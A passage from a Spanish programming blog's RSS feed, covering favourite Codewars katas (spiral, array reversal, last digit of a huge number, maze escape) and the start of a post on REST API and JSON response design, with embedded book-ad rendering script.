style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1,1,1,0,1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;,&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1,0,0,0,1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;,&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1,1,1,1,1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Por los casos extremos de pequeñas espirales, el tamaño será al menos de 5.&lt;/p&gt;&#xA;&lt;p&gt;Como regla general, la serpiente hecha de 1s no se puede tocar a si misma.&lt;/p&gt;&#xA;&lt;p&gt;Kata original: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/534e01fbbb17187c7e0000c6&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Make a spiral&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;nota-sobre-la-kata-1&#34;&gt;Nota sobre la Kata&lt;/h3&gt;&#xA;&lt;p&gt;Se ve fácil, pero te aseguro que no será tan sencillo en tu primer intento.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-soul-of-wit-reverse-an-array&#34;&gt;The soul of wit: reverse an array&lt;/h2&gt;&#xA;&lt;p&gt;No hay tiempo para historias, invierte un array (en Javascript), retorna el resultado. Haz lo que sea que quieras con el array original. No uses Array.prototype.reverse.&lt;/p&gt;&#xA;&lt;p&gt;Tienes 30 bytes para gastar.&lt;/p&gt;&#xA;&lt;p&gt;Ejemplo: [1, 2, 3] → [3, 2, 1]&lt;/p&gt;&#xA;&lt;p&gt;Esta vez no podrás capaz de hacer la cosa de la otra Kata.&lt;/p&gt;&#xA;&lt;p&gt;Tampoco puedes usar require.&lt;/p&gt;&#xA;&lt;p&gt;Kata original: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/59b81886460387d8fc000043&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;The soul of wit: reverse an array&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;nota-sobre-la-kata-2&#34;&gt;Nota sobre la Kata&lt;/h3&gt;&#xA;&lt;p&gt;Con 30 bytes se refiere a que tienes el equivalente en caracteres para usar en tu código. Por ejemplo: la solución de abajo tiene 33 caracteres, excede el límite y además no se puede usar reverse.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; reverse &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; a =&amp;gt; a.reverse();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;last-digit-of-a-huge-number&#34;&gt;Last digit of a huge number&lt;/h2&gt;&#xA;&lt;p&gt;Dada una lista [x1, x2, x3, &amp;hellip;, xn] computa el último digito (decimal) de x1 ^ (x2 ^ (x3 ^ (&amp;hellip; ^ xn))).&lt;/p&gt;&#xA;&lt;p&gt;Ejemplo:&lt;/p&gt;&#xA;&lt;p&gt;lastDigit([3, 4, 2]) === 1&lt;/p&gt;&#xA;&lt;p&gt;porque 3 ^ (4 ^ 2) = 3 ^ 16 = 43046721.&lt;/p&gt;&#xA;&lt;p&gt;Cuidado: las potencias crecen increíblemente rápido. Por ejemplo, 9 ^ (9 ^ 9) tiene más de 369 millones de dígitos. Tu función lastDigit tiene que lidiar con esos números eficientemente.&lt;/p&gt;&#xA;&lt;p&gt;Casos inusuales: asumimos que 0 ^ 0 = 1 y que el último dígito de una lista vacia es igual a 1.&lt;/p&gt;&#xA;&lt;p&gt;Kata original: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/5518a860a73e708c0a000027&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Last digit of a huge number&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;nota-sobre-la-kata-3&#34;&gt;Nota sobre la Kata&lt;/h3&gt;&#xA;&lt;p&gt;Si estás pensando en escribir algo como:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;lastDigit&lt;/span&gt;(arr):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Esta función NO es la correcta&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; element &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; arr[::&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;]:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        total &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; element &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt; total&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;str&lt;/span&gt;(total)[&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;last_digit([&lt;span style=&#34;color:#ff9f43&#34;&gt;528374&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;27415&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;789392&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;462589&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;166837&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;699678&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;866982&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Soluciones de este tipo no te llevarán a ningún lado, la Kata tiene que correr increíblemente rápido.&lt;/p&gt;&#xA;&lt;p&gt;Mira lo que tarda en correr en Python con la función lastDigit correcta.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;time&lt;/span&gt; python script.py &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;real 0m0.122s&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user 0m0.073s&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sys&#x9; 0m0.044s&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si intentas ejecutar el código de arriba probablemente puedas irte a preparar un café antes de que termine de ejecutarse.&lt;/p&gt;&#xA;&lt;h2 id=&#34;escape-the-maze&#34;&gt;Escape the maze&lt;/h2&gt;&#xA;&lt;p&gt;Se te proporciona un laberinto completo, como una grilla de 2 dimensiones, más especificamente en tu lenguaje: un array de strings&lt;/p&gt;&#xA;&lt;p&gt;maze[0][0] es la esquina superior izquierda&#xA;maze[maze.length - 1][maze[0].length - 1] es la esquina inferior derecha&lt;/p&gt;&#xA;&lt;p&gt;Dentro de esta grilla en 2D:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#39; &#39; Espacio que puedes recorrer&#xA;&#39;#&#39; Es un arbusto de espinas (No puedes cruzarlo)&#xA;&#39;^&#39;, &#39;&amp;lt;&#39;, &#39;v&#39; or &#39;&amp;gt;&#39; Tu cuerpo mirando hacía la parte superior, izquierda, inferior, o derecha, respectivamente, del mapa.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Kata original: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/5877027d885d4f6144000404&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Escape the maze&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;nota-sobre-la-kata-4&#34;&gt;Nota sobre la Kata&lt;/h3&gt;&#xA;&lt;p&gt;Se te proporciona una serie de laberintos, tu posición y debes proporcionarle un array de movimientos para salir. ¡Está increíblemente entretenido!&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[ &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;##########&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;#        #&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;#  ##### #&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;#  #   # #&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;#  #^# # #&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;#  ### # #&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;#      # #&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;######## #&amp;#39;&lt;/span&gt; ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;katas-con-mencion-honorifica&#34;&gt;Katas con mención honorífica&lt;/h2&gt;&#xA;&lt;p&gt;Existen otras Katas que me gustan muchísimo pero quedaron fuera de este top. Dales una revisada.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/53d40c1e2f13e331fc000c26&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;The Millionth Fibonacci Kata&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/59122604e5bc240817000016&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Prime Streaming [NC-17]&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/544e5d75908f2d5eb700052b&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Breaking the Vigenère Cipher&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/5877027d885d4f6144000404&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Escape the maze&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/56bb9b7838dd34d7d8001b3c&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Simple Maze&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/5324945e2ece5e1f32000370&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Sum strings as numbers&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/56fa9cd6da8ca623f9001233&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Elemental words&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;h2 id=&#34;que-es-codewars&#34;&gt;¿Qué es codewars?&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;},{\&#34;description\&#34;:\&#34;Este es el recurso que leí, y por lo tanto puedo recomendar para aprender algoritmos, mucho más entendible que SICP y te enseña todo lo que necesitas saber sobre algoritmos. Consulta el resto de libros que leo y recomiendo en mi perfil.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del Algorithm design manual\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-algorithm-design-manual.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4gUpFoa\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Algorithm design manual y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender lo necesario sobre algoritmos?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Buenas prácticas y diseño de una API REST</title>
      <link>https://coffeebytes.dev/es/software-architecture/buenas-practicas-y-diseno-de-una-api-rest/</link>
      <pubDate>Thu, 28 Apr 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/software-architecture/buenas-practicas-y-diseno-de-una-api-rest/</guid>
      
      <category>software architecture</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;¿Cómo diseño una API REST? ¿Cuántos niveles debo anidar mis recursos relacionados? ¿URLs relativas o completas? Este post es una recopilación de ciertas recomendaciones sobre algunas buenas praćticas de diseño de APIs REST que he encontrado en libros y artículos de internet. Dejo las fuentes al final del artículo por si te interesa profundizar o ver de donde viene esta información.&lt;/p&gt;&#xA;&lt;p&gt;Antes de empezar, hay una serie de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;características básicas de una API REST&lt;/a&gt;&#xA;, las cuales expuse en una entrada pasada, revísalas si tienes dudas. En esta entrada te voy a hablar un poco de algunos aspectos más subjetivos relacionados con el diseño de APIs REST.&lt;/p&gt;&#xA;&lt;p&gt;Recuerda que una API REST puede devolver otros formatos, no solo JSON, pero voy a centrarme en este para los ejemplos porque es bastante popular.&lt;/p&gt;&#xA;&lt;p&gt;Voy a comenzar con una pregunta bastante común: ¿cómo estructuro mi respuesta JSON?&lt;/p&gt;&#xA;&lt;h2 id=&#34;estructura-para-respuestas-json&#34;&gt;Estructura para respuestas JSON&lt;/h2&gt;&#xA;&lt;p&gt;Hay diferentes maneras de estructurar la respuesta de una API REST. No hay ninguna válida ni inválida, depende del gusto de cada equipo y las necesidades de la aplicación. &lt;strong&gt;Lo importante aquí es mantener la consistencia y la homogeneidad en todas tus respuestas&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;segun-jsonapi&#34;&gt;Según json:api&lt;/h3&gt;&#xA;&lt;p&gt;Existe un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://jsonapi.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;grupo de personas que se propusieron estandarizar las respuestas JSON&lt;/a&gt;&#xA; en un único estilo de respuesta, tanto para devolver recursos únicos o múltiples. Puedes tomar su estilo como referencia cuando diseñes su API para garantizar la uniformidad de las respuestas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;products&amp;#34;&lt;/span&gt;: [{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;api-estilo-twitter&#34;&gt;API estilo Twitter&lt;/h3&gt;&#xA;&lt;p&gt;Twitter tiene su propia manera de hacer las cosas, la respuesta de un recurso individual se ve así:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para recursos múltiples, Twitter decidió incluirlos dentro de un array.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este libro me mostró la manera en que las grandes empresas, como Youtube, Dropbox, Google, etc. diseñan sus sistemas para manejar peticiones astronómicas por segundo. Alex Xu te enseña cómo estructurar réplicas de bases de datos, caché, balanceadores de carga y todos los detalles sobre el diseño de software de clase empresarial, si estás interesado en aprender sobre sistemas que escalan, no debes perderte este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del System Design Interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41rodp3\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de System Design Interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;El mejor libro para aprender Arquitectura de Software\&#34;},{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 